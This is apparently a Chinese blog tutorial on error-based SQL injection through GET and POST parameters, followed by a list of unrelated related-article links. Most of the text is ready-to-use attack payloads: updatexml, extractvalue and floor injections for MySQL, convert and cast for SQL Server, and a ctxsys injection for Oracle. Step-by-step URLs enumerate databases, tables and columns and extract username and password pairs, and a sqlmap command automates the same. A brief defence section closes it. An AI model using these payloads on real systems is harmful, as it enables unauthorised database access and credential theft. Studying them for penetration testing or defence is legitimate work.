SQL注入:基于GET和POST的报错注入详解

SQL注入:基于GET和POST的报错注入详解

  • [一, 报错注入基本原理](#一, 报错注入基本原理)
  • 二、GET型报错注入
    • [1. 基本特征](#1. 基本特征)
    • [2. 攻击步骤](#2. 攻击步骤)
    • [3. 绕过技巧](#3. 绕过技巧)
  • [三, POST型报错注入](#三, POST型报错注入)
    • [1. 基本特征](#1. 基本特征)
    • [2. 攻击步骤](#2. 攻击步骤)
      • [(1) 发现注入点](#(1) 发现注入点)
      • [(2) 构造报错注入](#(2) 构造报错注入)
      • [(3) 获取数据](#(3) 获取数据)
    • [3. 工具辅助](#3. 工具辅助)
  • 四、不同数据库的报错注入方法
  • 五、防御措施

一, 报错注入基本原理

报错注入(Error-Based SQL Injection)是一种利用数据库错误信息来获取数据的SQL注入技术。当应用程序直接将数据库错误信息返回给用户时,攻击者可以构造特殊的SQL语句,使数据库执行时产生错误,并在错误信息中携带查询结果。

核心原理:

  1. 利用数据库函数故意制造错误;
  2. 通过错误信息回显获取数据
  3. 常用报错函数:
    MySQL: updatexml(), extractvalue(), floor()
    SQL Server: convert(), cast()
    Oracle: ctxsys.drithsx.sn()

二、GET型报错注入

1. 基本特征

2. 攻击步骤

(1)判断注入点

http://example.com/news.php?id=1'

观察是否返回数据库错误信息

(2)确定报错函数可用性

MySQL测试:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,version()),1)--+

如果返回包含MySQL版本号的错误信息,说明报错注入可行

(3) 获取数据库信息

获取当前数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,database()),1)--+

获取所有数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)--+

(4) 获取表名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+

(5) 获取列名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)--+

(6) 获取数据

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1)--+

3. 绕过技巧

  • 使用mid(),substr()函数处理长数据
  • 使用floor(rand()*2)报错方式
  • URL编码特殊字符

三, POST型报错注入

1. 基本特征

  • 注入点位于表单提交的数据中
  • 需要通过修改post请求进行注入
  • 典型示例:登录表单,搜索框等

2. 攻击步骤

(1) 发现注入点

提交单引号测试:

username=admin'&password=123

观察是否返回数据库错误

(2) 构造报错注入

使用Burp Suite拦截请求,修改POST数据:

username=admin' and updatexml(1,concat(0x7e,version()),1)-- &password=123

(3) 获取数据

获取表名:

username=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- &password=123

3. 工具辅助

  • 使用Burp Suite的Repeater模块修改请求、
  • 使用sqlmap自动化测试
    sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --technique=E --dbs

四、不同数据库的报错注入方法

  1. MySQL
sql 复制代码
and updatexml(1,concat(0x7e,(select user())),1)
and extractvalue(1,concat(0x7e,(select user())))
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2 .SQL Server

sql 复制代码
and 1=convert(int,@@version)
and 1=cast((select @@version) as int)

3 .Oracle

sql 复制代码
and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))

五、防御措施

  1. 使用参数化查询(Prepared Statements)

  2. 对输入进行严格的过滤和转义

  3. 关闭错误信息回显

  4. 使用WAF防护

  5. 最小权限原则,限制数据库用户权限

相关推荐
一个天蝎座 白勺 程序猿26 分钟前
Apache IoTDB(10):数据库操作——从查询到优化的全链路实践指南
数据库·apache·时序数据库·iotdb
普普通通的南瓜1 小时前
IP证书在关键信息基础设施安全防护中的实践与挑战
网络·数据库·网络协议·tcp/ip·安全·ssl
合作小小程序员小小店1 小时前
桌面开发,超市管理系统开发,基于C#,winform,sql server数据库
开发语言·数据库·sql·microsoft·sqlserver·c#
quweiie1 小时前
thinkphp8.0链接SQL SERVER2022数据库
数据库·sqlserver·thinkphp
Databend2 小时前
如何打造AI时代的数据基石 | Databend Meetup 上海站
数据库
老华带你飞2 小时前
海产品销售系统|海鲜商城购物|基于SprinBoot+vue的海鲜商城系统(源码+数据库+文档)
java·前端·数据库·vue.js·论文·毕设·海鲜商城购物系统
合作小小程序员小小店3 小时前
桌面开发,在线%超市销售管理%系统,基于vs2022,c#,winform,sql server数据
开发语言·数据库·microsoft·c#
SelectDB3 小时前
字节跳动:Apache Doris + AI 一站式融合数据引擎的探索与实践
数据库·apache
IvorySQL3 小时前
PostgreSQL 18 - 时间约束 (Temporal Constraints)
数据库·postgresql·开源
q***61413 小时前
从MySQL迁移到PostgreSQL的完整指南
数据库·mysql·postgresql